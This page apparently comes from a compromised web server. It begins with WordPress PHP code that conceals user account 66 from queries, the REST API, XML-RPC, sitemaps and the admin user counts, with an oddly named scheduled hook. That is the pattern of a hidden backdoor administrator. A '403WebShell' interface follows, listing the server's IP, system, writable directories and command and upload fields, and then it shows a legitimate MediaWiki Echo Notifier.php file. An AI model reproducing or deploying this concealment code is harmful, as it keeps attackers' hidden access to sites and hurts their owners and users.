add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Echo/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Echo/includes/Notifier.php
<?php

namespace MediaWiki\Extension\Notifications;

use MailAddress;
use MediaWiki\Extension\Notifications\Formatters\EchoHtmlEmailFormatter;
use MediaWiki\Extension\Notifications\Formatters\EchoPlainTextEmailFormatter;
use MediaWiki\Extension\Notifications\Hooks\HookRunner;
use MediaWiki\Extension\Notifications\Model\Event;
use MediaWiki\Extension\Notifications\Model\Notification;
use MediaWiki\MediaWikiServices;
use MediaWiki\User\User;
use UserMailer;

class Notifier {
	/**
	 * Record a Notification for an Event
	 * Currently used for web-based notifications.
	 *
	 * @param User $user User to notify.
	 * @param Event $event Event to notify about.
	 */
	public static function notifyWithNotification( $user, $event ) {
		// Only create the notification if the user wants to receive that type
		// of notification, and they are eligible to receive it. See bug 47664.
		$attributeManager = Services::getInstance()->getAttributeManager();
		$userWebNotifications = $attributeManager->getUserEnabledEvents( $user, 'web' );
		if ( !in_array( $event->getType(), $userWebNotifications ) ) {
			return;
		}

		$notif = new Notification( $user, $event );
		$notif->insert();
	}

	/**
	 * Send a Notification to a user by email
	 *
	 * @param User $user User to notify.
	 * @param Event $event Event to notify about.
	 * @return bool
	 */
	public static function notifyWithEmail( $user, $event ) {
		global $wgEnableEmail, $wgBlockDisablesLogin, $wgEchoWatchlistEmailOncePerPage, $wgEnotifMinorEdits;
		$services = MediaWikiServices::getInstance();
		$userOptionsLookup = $services->getUserOptionsLookup();

		if (
			// Email is globally disabled
			!$wgEnableEmail ||
			// User does not have a valid and confirmed email address
			!$user->isEmailConfirmed() ||
			// User has disabled Echo emails
			$userOptionsLookup->getOption( $user, 'echo-email-frequency' ) < 0 ||
			// User is blocked and cannot log in (T199993)
			( $wgBlockDisablesLogin && $user->getBlock() )
		) {
			return false;
		}

		$type = $event->getType();
		if ( $type === 'edit-user-talk' ) {
			$extra = $event->getExtra();
			if ( !empty( $extra['minoredit'] ) ) {
				if ( !$wgEnotifMinorEdits || !$userOptionsLookup->getOption( $user, 'enotifminoredits' ) ) {
					// Do not send talk page notification email
					return false;
				}
			}
		// Mimic core code of only sending watchlist notification emails once per page
		} elseif ( $type === "watchlist-change" || $type === "minor-watchlist-change" ) {
			// Don't care about rate limiting
			if ( $wgEchoWatchlistEmailOncePerPage ) {
				$store = $services->getWatchedItemStore();
				$ts = $store->getWatchedItem( $user, $event->getTitle() )->getNotificationTimestamp();
				// if (ts != null) is not sufficient because, if $wgEchoUseJobQueue is set,
				// wl_notificationtimestamp will have already been set for the new edit
				// by the time this code runs.
				if ( $ts !== null && $ts !== $event->getExtraParam( "timestamp" ) ) {
					// User has already seen an email for this page before
					return false;
				}
			}
		} elseif ( $event->getExtraParam( 'noemail' ) ) {
			// Could be set for API triggered notifications where email is not
			// requested in API request params
			return false;
		}

		$hookRunner = new HookRunner( $services->getHookContainer() );
		// Final check on whether to send email for this user & event
		if ( !$hookRunner->onEchoAbortEmailNotification( $user, $event ) ) {
			return false;
		}

		$attributeManager = Services::getInstance()->getAttributeManager();
		$userEmailNotifications = $attributeManager->getUserEnabledEvents( $user, 'email' );
		// See if the user wants to receive emails for this category or the user is eligible to receive this email
		if ( in_array( $event->getType(), $userEmailNotifications ) ) {
			global $wgEchoEnableEmailBatch, $wgEchoNotifications, $wgPasswordSender, $wgNoReplyAddress;

			$priority = $attributeManager->getNotificationPriority( $event->getType() );

			$bundleString = $bundleHash = '';

			// We should have bundling for email digest as long as either web or email bundling is on,
			// for example, talk page email bundling is off, but if a user decides to receive email
			// digest, we should bundle those messages
			if ( !empty( $wgEchoNotifications[$event->getType()]['bundle']['web'] ) ||
				!empty( $wgEchoNotifications[$event->getType()]['bundle']['email'] )
			) {
				self::getBundleRules( $event, $bundleString );
			}
			if ( $bundleString ) {
				$bundleHash = md5( $bundleString );
			}

			// email digest notification (weekly or daily)
			if ( $wgEchoEnableEmailBatch && $userOptionsLookup->getOption( $user, 'echo-email-frequency' ) > 0 ) {
				// always create a unique event hash for those events don't support bundling
				// this is mainly for group by
				$eventId = $event->acquireId();
				if ( !$bundleHash ) {
					$bundleHash = md5( $event->getType() . '-' . $eventId );
				}
				EmailBatch::addToQueue( $user->getId(), $eventId, $priority, $bundleHash );

				return true;
			}

			// instant email notification
			$toAddress = MailAddress::newFromUser( $user );
			$fromAddress = new MailAddress(
				$wgPasswordSender,
				wfMessage( 'emailsender' )->inContentLanguage()->text()
			);
			$replyAddress = new MailAddress( $wgNoReplyAddress );
			// Since we are sending a single email, should set the bundle hash to null
			// if it is set with a value from somewhere else
			$event->setBundleHash( null );
			$email = self::generateEmail( $event, $user );
			if ( !$email ) {
				return false;
			}
			$subject = $email['subject'];
			$body = $email['body'];
			$options = [ 'replyTo' => $replyAddress ];

			UserMailer::send( $toAddress, $fromAddress, $subject, $body, $options );
		}

		return true;
	}

	/**
	 * Handler to get bundle rules, handles echo's own events and calls the EchoGetBundleRule hook,
	 * which defines the bundle rule for the extensions notification.
	 *
	 * @param Event $event
	 * @param string &$bundleString Determines how the notification should be bundled, for example,
	 * talk page notification is bundled based on namespace and title, the bundle string would be
	 * 'edit-user-talk-' + namespace + title, email digest/email bundling would use this hash as
	 * a key to identify bundle-able event.  For web bundling, we bundle further based on user's
	 * visit to the overlay, we would generate a display hash based on the hash of $bundleString
	 */
	public static function getBundleRules( $event, &$bundleString ) {
		switch ( $event->getType() ) {
			case 'edit-user-page':
			case 'edit-user-talk':
			case 'page-linked':
				$bundleString = $event->getType();
				if ( $event->getTitle() ) {
					$bundleString .= '-' . $event->getTitle()->getNamespace()
						. '-' . $event->getTitle()->getDBkey();
				}
				break;
			case 'mention-success':
			case 'mention-failure':
				$bundleString = 'mention-status-' . $event->getExtraParam( 'revid' );
				break;
			case 'watchlist-change':
			case 'minor-watchlist-change':
				$bundleString = 'watchlist-change';
				if ( $event->getTitle() ) {
					$bundleString .= '-' . $event->getTitle()->getNamespace()
						. '-' . $event->getTitle()->getDBkey();
				}
				break;
			default:
				$hookRunner = new HookRunner( MediaWikiServices::getInstance()->getHookContainer() );
				$hookRunner->onEchoGetBundleRules( $event, $bundleString );
		}
	}

	/**
	 * @param Event $event
	 * @param User $user
	 * @return array|false An array of 'subject' and 'body', or false if things went wrong
	 */
	private static function generateEmail( Event $event, User $user ) {
		$emailFormat = NotifUser::newFromUser( $user )->getEmailFormat();
		$services = MediaWikiServices::getInstance();
		$userOptionsLookup = $services->getUserOptionsLookup();
		$lang = $services->getLanguageFactory()
			->getLanguage( $userOptionsLookup->getOption( $user, 'language' ) );
		$formatter = new EchoPlainTextEmailFormatter( $user, $lang );
		$content = $formatter->format( $event, 'email' );
		if ( !$content ) {
			return false;
		}

		if ( $emailFormat === EmailFormat::HTML ) {
			$htmlEmailFormatter = new EchoHtmlEmailFormatter( $user, $lang );
			$htmlContent = $htmlEmailFormatter->format( $event, 'email' );
			$multipartBody = [
				'text' => $content['body'],
				'html' => $htmlContent['body']
			];
			$content['body'] = $multipartBody;
		}

		return $content;
	}
}

class_alias( Notifier::class, 'EchoNotifier' );

Youez - 2016 - github.com/yon3zu
LinuXploit